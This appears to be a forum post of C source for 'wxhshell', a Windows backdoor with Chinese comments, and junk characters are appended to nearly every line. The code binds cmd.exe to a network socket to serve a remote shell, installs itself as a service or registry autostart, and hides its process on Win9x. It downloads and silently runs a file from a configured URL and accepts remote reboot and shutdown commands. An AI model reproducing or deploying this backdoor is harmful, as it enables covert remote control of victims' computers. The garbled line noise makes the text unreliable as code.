      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D(&XmC[\Y  
    break; rctGa ,l  
  } :.bBV]6q  
  // 安装 tR`^c8gD  
  case 'i': { +Cg[!6[#  
    if(Install()) =Y`e?\#`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lsb`,:  
    else 7Z[6_WD3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h51)kN:  
    break; O@-|_N*;K  
    } Sxzt|{  
  // 卸载 '74*-yd  
  case 'r': { W|-<ekH_u  
    if(Uninstall()) p%ZOLoc)Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RHv|ijYy  
    else DT#F?@LG(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e` {F7rd:  
    break; }2+*E}g  
    } z=1N}l~|*  
  // 显示 wxhshell 所在路径 Zv&<r+<g  
  case 'p': { Mv\]uAT`  
    char svExeFile[MAX_PATH]; jWNF3\  
    strcpy(svExeFile,"\n\r"); &r0U9J  
      strcat(svExeFile,ExeFile); M>g%wg7Ah  
        send(wsh,svExeFile,strlen(svExeFile),0); i8|0zI  
    break; bTepTWv  
    } _y5J]Yu`j  
  // 重启  O3~7  
  case 'b': { @T@lHc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q:ah%x[  
    if(Boot(REBOOT)) s)9d\{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O~DdMW  
    else { 6O\a\z  
    closesocket(wsh); sX[k}=HCK  
    ExitThread(0); -a\[`JHi  
    } ag{cm'.  
    break; caD)'FSES  
    } +Jw+rjnP  
  // 关机 Tx:S{n7&  
  case 'd': { ]gjB%R[.m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !>,XK!)  
    if(Boot(SHUTDOWN)) N4rDe]JnPR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~.&PQE$DF  
    else { ly( LMr  
    closesocket(wsh); hy wy(b3  
    ExitThread(0); )PCh;P0C  
    } }=$>w@mJ  
    break; WlW7b.2.  
    } %2,'x  
  // 获取shell NnTAKd8  
  case 's': { 88g|(k/  
    CmdShell(wsh); 0f9*=c  
    closesocket(wsh); Cc&SHG*R  
    ExitThread(0); Gc*p%2c  
    break; |{ TVW  
  } -F`uz,wZ  
  // 退出 K.r "KxCm|  
  case 'x': { BRTCo,i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G/4~_\YMq  
    CloseIt(wsh); D/&nEMp6  
    break; T0v{qQ  
    } J-5E# v  
  // 离开 eJ+@<+vr;x  
  case 'q': { QA=mD^A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }UX0 eI4  
    closesocket(wsh); |f{(MMlj  
    WSACleanup(); T%O2=h\} E  
    exit(1); fV o7wp  
    break; bvF-F$n%F  
        } ;Q\MH t*  
  } 6Ij'z9nJw  
  } AR3v,eOs  
w42=tN+ B  
  // 提示信息 I4(z'C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EZJ[+ -Q;  
} O)%s_/UX  
  } =O?? W8u  
X[J?  
  return; vM?jm! nd  
} "1z#6vw5a  
uy rS6e0  
// shell模块句柄 cxz\1Vphd  
int CmdShell(SOCKET sock)  RxO !h8  
{ QE4TvnhK  
STARTUPINFO si; )QAS7w#k  
ZeroMemory(&si,sizeof(si)); LXS)(-&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T7LO}(I.&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {66P-4Ev(  
PROCESS_INFORMATION ProcessInfo; =`E{QCW  
char cmdline[]="cmd"; Ft<B[bQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ycj\5+ g  
  return 0; Rj!9pwvT  
} 75W@B}dZd  
>SWc  
// 自身启动模式 r^T+ I3  
int StartFromService(void) CfEACH4_  
{ '7JM/AcC#K  
typedef struct sUz,F8G  
{ <%"o-xZq7C  
  DWORD ExitStatus; FO{?Z%& ;  
  DWORD PebBaseAddress; 9}$'q$0R]  
  DWORD AffinityMask; M$Ow*!DfP  
  DWORD BasePriority; .f-s+J&ED  
  ULONG UniqueProcessId; c"oJcp  
  ULONG InheritedFromUniqueProcessId; e)f!2'LL  
}   PROCESS_BASIC_INFORMATION; S<81r2LT  
@_H L{q%h  
PROCNTQSIP NtQueryInformationProcess; qZYh^\  
Dio)orc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G'{*guYU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x:iLBYf  
1 Sz v4  
  HANDLE             hProcess; {]Ec:6  
  PROCESS_BASIC_INFORMATION pbi; guk{3<d:Jy  
R 6 -RH7.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dh V6r  
  if(NULL == hInst ) return 0; bkS-[rW  
e/R$Sfj]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _g%,/y 9y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _<u>? Qt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]N{jF$  
z 8<"  
  if (!NtQueryInformationProcess) return 0; -0>s`ruor  
->)0jZax  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jvr`9<`  
  if(!hProcess) return 0; En{< OMg  
5 51p* B2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ImsyyeY]  
?fX`z(Z  
  CloseHandle(hProcess); qnJs,"sn  
,qwVDYJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yVt8QF!  
if(hProcess==NULL) return 0; [sZ ,nB/  
1s-=zs  
HMODULE hMod; "Bl6 ) qw  
char procName[255]; ]ASTw(4  
unsigned long cbNeeded; ?U3~rro!  
]iry'eljy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e]@ B61lc  
^_t7{z%sA[  
  CloseHandle(hProcess); jIjW +D`  
wUKt$_]``  
if(strstr(procName,"services")) return 1; // 以服务启动 ;8g[y"I  
2#X>^LH  
  return 0; // 注册表启动 q.ZkQN+  
} G2w0r,[  
6+/BYN!&4  
// 主模块 4VP$, |a  
int StartWxhshell(LPSTR lpCmdLine) .5!Q(  
{ FW:V<{f  
  SOCKET wsl; ."j=s#OC(  
BOOL val=TRUE; ]SUW"5L-  
  int port=0; AZva  
  struct sockaddr_in door; ^K0oJg.E  
OjsMT]  
  if(wscfg.ws_autoins) Install(); _-z;  
o'=i$Eb  
port=atoi(lpCmdLine); nZ4@g@e2  
og`g]Z<I  
if(port<=0) port=wscfg.ws_port; T/ P   
bA07zI2  
  WSADATA data; Da ]zbz%%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A'suZpL  
/X;! F>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7ZFd;-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +,UuJ6[n  
  door.sin_family = AF_INET; En ]"^*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j`QXl  
  door.sin_port = htons(port);  Sr+ &  
%<\tN^rP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !RwMUnp  
closesocket(wsl); i2?TMM!Fe  
return 1; >S@><[C  
} Q&vU|y  
emG1Wyl  
  if(listen(wsl,2) == INVALID_SOCKET) { o$Z]qhq  
closesocket(wsl); H,;9' *84  
return 1; , RU  
} ,"Nb;Yhg  
  Wxhshell(wsl); wLKC6@ W  
  WSACleanup(); QJ,~K&?  
U]"6KS   
return 0; RY]jY | E  
q U^`fIa  
} B6U4>ZN  
Q #p gl  
// 以NT服务方式启动 J:l%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8*EqG5OP  
{ K<p)-q  
DWORD   status = 0; 9^@#Ua  
  DWORD   specificError = 0xfffffff; 8xx2+  
p{;FO?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ; g\r Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {i)FDdDGD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~Hvf"bvK|  
  serviceStatus.dwWin32ExitCode     = 0; K QCF "  
  serviceStatus.dwServiceSpecificExitCode = 0; */j[n$K>~`  
  serviceStatus.dwCheckPoint       = 0; +K48c,gt?  
  serviceStatus.dwWaitHint       = 0; gFnJDR  
%D>cY!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,yTT,)@<  
  if (hServiceStatusHandle==0) return; v(l:N@L  
Tz{-L%*#  
status = GetLastError(); J )UCy;Y  
  if (status!=NO_ERROR) P]H4!}M  
{ vY]7oX+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C:RA(  
    serviceStatus.dwCheckPoint       = 0; \iAs  
    serviceStatus.dwWaitHint       = 0; C,,S<=L:  
    serviceStatus.dwWin32ExitCode     = status; 8>'vzc/* >  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7*@BCu6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V-lp';bD  
    return; Mc 6v  
  } h! w d/jR  
`Gh#2 U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,p6o "-  
  serviceStatus.dwCheckPoint       = 0; ^`fqK4<  
  serviceStatus.dwWaitHint       = 0; W"H(HA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ex5 LhRe>=  
} Q\aC:68  
),Igu  
// 处理NT服务事件,比如:启动、停止 q }hHoSG]=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JxlZ,FF$@  
{ lz(}N7SLa  
switch(fdwControl) zZiga q"  
{ ,j%feC3  
case SERVICE_CONTROL_STOP: tw&biLM5T  
  serviceStatus.dwWin32ExitCode = 0; :)kWQQ+,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x*wr8$@J  
  serviceStatus.dwCheckPoint   = 0; t{O2JF#5u  
  serviceStatus.dwWaitHint     = 0; J"Nn.iVq  
  { #4F0o@Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]EEac  
  } &J,&>CFc  
  return;  #{zF~/Qq  
case SERVICE_CONTROL_PAUSE: T26'b .  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GhW{6.^  
  break; K&up1nZ@(  
case SERVICE_CONTROL_CONTINUE: Z + )<FX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -Hg,:re2  
  break; gCM(h[7A  
case SERVICE_CONTROL_INTERROGATE: YRU#/TP  
  break; _s+_M+@et  
}; x n}HB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3H`ES_JL  
} .|GnTC q  
uk)D2.eS,  
// 标准应用程序主函数 a t%qowt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }kMKA.O"  
{ 0f"la=6  
kjj?X|Un  
// 获取操作系统版本 <'vtnz  
OsIsNt=GetOsVer(); **F-#",  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I1W~;2cK  
<Gz*2i  
  // 从命令行安装 +{cCKRm  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9C|-|mo  
nOK1Wc%/'  
  // 下载执行文件 ^o Q^/v~  
if(wscfg.ws_downexe) { (w?W=guHu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 92Rm{n   
  WinExec(wscfg.ws_filenam,SW_HIDE); [[KIuW~ot  
} |L~RC  
=8E GB\P  
if(!OsIsNt) { .p-T >  
// 如果时win9x,隐藏进程并且设置为注册表启动 [W=6NAd  
HideProc(); xi=Qxgx0I  
StartWxhshell(lpCmdLine); Env_??xq  
} i 8:^1rHp)  
else @<B$LJ|jdG  
  if(StartFromService()) &\<?7Qj3U|  
  // 以服务方式启动 jWh}cM=  
  StartServiceCtrlDispatcher(DispatchTable); )<_:%oB  
else I1!m;5-c9k  
  // 普通方式启动 HQV#8G#B  
  StartWxhshell(lpCmdLine); E*8).'S%k  
4?l:.\fB:  
return 0; ;%4N@Z  
}
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只看该作者 1 发表于: 2006-10-10
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